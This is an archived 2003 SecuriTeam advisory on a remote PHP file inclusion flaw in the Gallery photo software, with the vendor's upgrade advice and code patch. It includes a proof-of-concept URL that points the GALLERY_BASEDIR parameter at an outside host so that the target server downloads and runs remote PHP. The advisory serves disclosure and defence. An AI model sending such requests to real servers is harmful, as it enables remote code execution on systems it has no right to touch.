

[UNIX] Gallery Include() File Vulnerability

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2003-10/0055.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 10/13/03

To: list@securiteam.com

Date: 13 Oct 2003 20:36:23 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

Gallery Include() File Vulnerability

SUMMARY

<<http://gallery.sourceforge.net/>> Gallery is "a Web-based software product that lets you manage photos on any Web site that offers PHP support. With Gallery, you can easily create and maintain albums of photos via an intuitive interface. Photo management includes automatic thumbnail creation, image resizing, rotation, ordering, captioning, searching, and more. Albums can have read, write, and caption permissions per individual authenticated user for an additional level of privacy".

A vulnerability in the Gallery product allows remote attackers to include arbitrary PHP code and cause it to be executed by the web server environment.

DETAILS

Vulnerable systems:

- * Gallery version 1.4
- * Gallery version 1.4-pl1
- * Gallery version 1.4.1 (unreleased; prior to build 145)

Immune systems:

- * Gallery version 1.4-pl2 (

Securiteam: [UNIX] Gallery Include() File Vulnerability

<http://sf.net/project/showfiles.php?group_id=7130&release_id=184028>
http://sf.net/project/showfiles.php?group_id=7130&release_id=184028)
* Gallery version 1.4.1 (unreleased; build 145)

It is possible to include any PHP file from a remote host, and execute it on the target's server.

Example:

By requesting the following URL:

http://victim/path_to_gallery/setup/index.php?GALLERY_BASEDIR=http://tester/

The file "<http://tester/util.php>" will be downloaded and included. This file could look like this:

```
<?php echo "Vulnerable"; ?>
```

(NOTE: the URL mentioned is accessible only during the setup of Gallery)

Vendor response:

"We strongly recommend that you upgrade to 1.4-pl2 immediately. However, if you do not want to install the entire 1.4-pl2 update, there are two simple approaches you can take to secure your system:

1. Delete gallery/setup/index.php

This will also disable the configuration wizard for you until you restore this file or upgrade to a secure release.

--Or--

2. Open gallery/setup/index.php in a text editor and change the following lines:

```
if (!isset($GALLERY_BASEDIR)) {  
    $GALLERY_BASEDIR = './';  
}
```

To this:

```
$GALLERY_BASEDIR = './';
```

Note that all we are doing is deleting two lines of code."

ADDITIONAL INFORMATION

The information has been provided by <<mailto:pcs@rootquest.com>> Peter Stöckli and <<mailto:bharat@menalto.com>> Bharat Mediratta.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com

Securiteam: [UNIX] Gallery Include() File Vulnerability

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.